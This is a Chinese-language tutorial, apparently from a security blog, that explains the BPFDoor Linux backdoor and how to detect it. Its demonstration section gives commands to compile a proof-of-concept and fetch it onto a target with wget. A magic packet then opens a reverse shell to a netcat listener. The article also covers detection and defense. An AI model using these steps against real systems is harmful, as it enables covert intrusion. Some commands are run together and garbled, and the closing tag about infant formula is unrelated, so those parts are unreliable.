在数字威胁的领域中，最危险的往往不是那些喧嚣的勒索软件或破坏系统的恶意程序。真正致命的威胁，通常是那些安静潜伏在关键基础设施深处，耐心等待时机的隐形杀手。
今天我们要剖析的，正是这样一种威胁。
这是一种名为 BPFDoor 的恶意软件。它代表了一种全新的 Linux 持久化和隐蔽思维方式。
与传统恶意软件不同，BPFDoor 的行为方式完全超出了防御者的常规预期。它不会开启可见的监听端口，也不会维持嘈杂的命令控制通道。当你运行常规的网络检查时，一切看起来都完全正常。
BPFDoor 是一个被动式的 Linux 后门，它在系统的极低层级运行。它利用的是伯克利数据包过滤器，通常被称为 BPF，这是 Linux 内核中用于数据包过滤和分析的强大功能。正常情况下，BPF 被用于监控或性能调优等合法目的。但在这里，它被滥用了。
这个后门将自己附加到原始网络套接字上，开始静默检查传入的流量。特别危险的是，它在防火墙规则如 iptables 或 nftables 有机会处理之前就能看到数据包。这意味着即使你的防火墙配置正确，后门仍然可以观察到本应被阻止的流量。
大多数时候，这个后门什么都不做。它保持完全休眠状态，这使得通过行为检测变得极其困难。它在等待一个非常特定的信号，通常被称为魔法包。这不是普通的网络请求，而是一个包含攻击者独有预定义模式的精心 crafted 数据包。
当那个数据包到达时，后门被唤醒，并建立反向 shell 连接回到攻击者。从那一刻起，攻击者重新获得系统访问权限，而无需暴露任何传统入口点。
技术原理深度剖析
BPFDoor 的核心技术在于对 Linux 内核 BPF 子系统的滥用。BPF 原本设计用于高效的数据包过滤，广泛应用于网络监控、性能分析等场景。它允许用户空间程序在内核中运行沙盒化的虚拟机代码，无需修改内核源码即可扩展功能。
攻击者看中了 BPF 的几个关键特性：
第一，BPF 程序在内核态运行，拥有极高的权限级别，可以绕过用户空间的安全检查。
第二，BPF 挂钩点位于网络协议栈的早期阶段，在防火墙规则应用之前就能处理数据包，这为绕过传统防御提供了可能。
第三，BPF 程序可以附加到原始套接字，静默嗅探所有经过的网络流量，而不被常规网络监控工具发现。
BPFDoor 的工作流程可以概括为以下几个阶段：
初始阶段，后门程序加载到系统中，注册 BPF 挂钩点，开始监控网络流量。此时它处于完全被动状态，不产生任何外连通信。
等待阶段，后门持续分析每个经过的数据包，寻找特定的触发模式。这个模式通常是一个精心设计的字节序列，嵌入在数据包的特定位置。
激活阶段，当检测到匹配的魔法包时，后门立即执行预定义的载荷，通常是建立反向 shell 连接到攻击者控制的服务器。
持久化阶段，连接建立后，攻击者可以执行任意命令，安装额外的工具，甚至部署更复杂的持久化机制。
环境搭建与演示
为了深入理解 BPFDoor 的工作原理，我们将通过一个概念验证实现来进行演示。这个 POC 版本简化了原始 rootkit 的复杂功能，但清晰地展示了核心机制。
首先，我们需要获取源代码并进行配置。从 GitHub 克隆仓库后，关键步骤是修改触发器文件。
kali > git clone https://github.com/pjt3591oo/bpfdoor.gitkali > cd bpfdoorkali > vim trigger.c
在 trigger.c 文件中，你需要指定两个 IP 地址。一个是运行后门的目标机器，另一个是你的攻击机器，在这个案例中是你的 Kali 系统。这是重要的一步，因为触发器必须知道将激活数据包发送到哪里，以及建立反向连接的目标地址。
你会注意到代码中的一个小细节，IP 地址前面放置了一个字符 X。这是概念验证使用的简单魔法字节，用于识别有效的触发数据包。它不应该被删除，因为它是唤醒后门机制的一部分。
配置文件准备好后，接下来编译触发器和后门程序。
kali > gcc trigger.c -o triggerkali > gcc bpfdoor -o bpfdoorpockali > chmod +x trigger
我们在 Kali 上进行编译，因为并非所有 Linux 发行版都默认包含编译器。编译完成后，我们准备转移到目标系统，在这个案例中是一台 Ubuntu 机器。
攻击演示
现在进入更有趣的部分。在实际操作中，攻击者通常已经获得了系统的 root 权限。他们可能在本机编译恶意软件，或使用各种方法传输文件。为了演示目的，我们使用简单的 HTTP 服务器。
在你的 Kali 机器上启动服务器并下载后门：
在 Kali 机器上，启动 HTTP 服务器：python3 -m http.server 9001
在 Ubuntu 目标机器上下载后门：wget http://192.168.56.107:9001/bpfdoorpoc
文件下载完成后，使其可执行并运行。
此时，rootkit 看起来像是卡住了。这是预期行为。后门现在在后台运行，等待魔法包。你可能会看到一些输出，但没有任何内容能立即表明它在做什么。
在你的 Kali 机器上，准备接收反向 shell，打开监听器。
这个端口必须与触发器配置中定义的端口匹配。
在单独的终端中，执行触发器。
触发器发送一个特殊 crafted 的数据包，后门能够识别这个数据包。
当它检测到正确的模式时，立即激活并启动反向 shell 连接回到你的监听器。如果一切配置正确，你会看到连接出现在 netcat 会话中。你现在在目标系统上拥有了一个可用的 shell。
这就是 BPFDoor 背后的核心思想。没有开放的端口，没有明显的通信，只有一个隐藏的监听器等待正确的信号。
检测与防御
BPFDoor 有趣之处不仅在于它的工作原理，更在于它难以被检测。这种技术早在 2022 年左右就已为人所知，但直到最近才被观察到 actively 用于针对电信基础设施的攻击。
要检测它，我们可以使用 Rapid7 发布的检测脚本。这个脚本专门设计用于查找系统上 BPFDoor 活动的指标。
ubuntu > wget https://github.com/rapid7/Rapid7-Labs/blob/main/BPFDoor/rapid7_detect_bpfdoor.shubuntu > chmod +x rapid7_detect_bpfdoor.shubuntu > bash rapid7_detect_bpfdoor.sh
该脚本执行枚举操作，尝试识别与 BPFDoor 行为匹配的可疑进程。在我们的案例中，它成功检测到了概念验证进程并报告了其进程 ID。
即使是高度隐蔽的恶意软件，也会留下痕迹。检测通常归结为理解系统应该如何正常运行，并识别偏离该基线的异常。
从防御角度来看，有几种方法可以提高对这类威胁的检测能力：
定期运行专门的检测脚本，如 Rapid7 提供的工具，可以帮助发现潜在的 BPFDoor 感染。
监控系统上加载的 BPF 程序，任何未经授权的 BPF 加载操作都应该触发警报。
实施内核完整性检查，验证内核模块和 BPF 程序的签名和来源。
建立网络流量基线，检测异常的入站数据包模式，特别是那些包含特殊字节序列的流量。
保持系统和内核更新，及时应用安全补丁，减少被利用的风险。
总结与思考
在这次分析中，我们深入探讨了 BPFDoor，这是一个隐藏在 Linux 内核正常操作中的隐蔽后门，等待特定触发信号。我们提供的检测脚本将帮助你保护系统，确保没有发生入侵。定期执行检查是一个良好的安全实践。
BPFDoor 的出现提醒我们，现代网络威胁正在变得更加隐蔽和复杂。传统的防御手段，如防火墙和入侵检测系统，可能无法有效应对这种内核级别的威胁。
作为安全从业者，我们需要不断提升自己的技能，深入理解系统底层的工作原理，才能有效识别和应对这类高级威胁。
如果你对 Linux 感兴趣，想要了解更多关于它在渗透测试中的应用，建议深入学习 Linux 系统 internals 和内核安全相关知识。
在网络安全这个领域，知识就是力量。只有不断学习和实践，才能在这场没有硝烟的战争中立于不败之地。
参考链接
• BPFDoor POC: https://github.com/pjt3591oo/bpfdoor• 原始 Rootkit: https://github.com/gwillgues/BPFDoor• Rapid7 检测脚本: https://github.com/rapid7/Rapid7-Labs/blob/main/BPFDoor/rapid7\_detect\_bpfdoor.sh
标签
10个月宝宝每天需要喝多少奶粉？
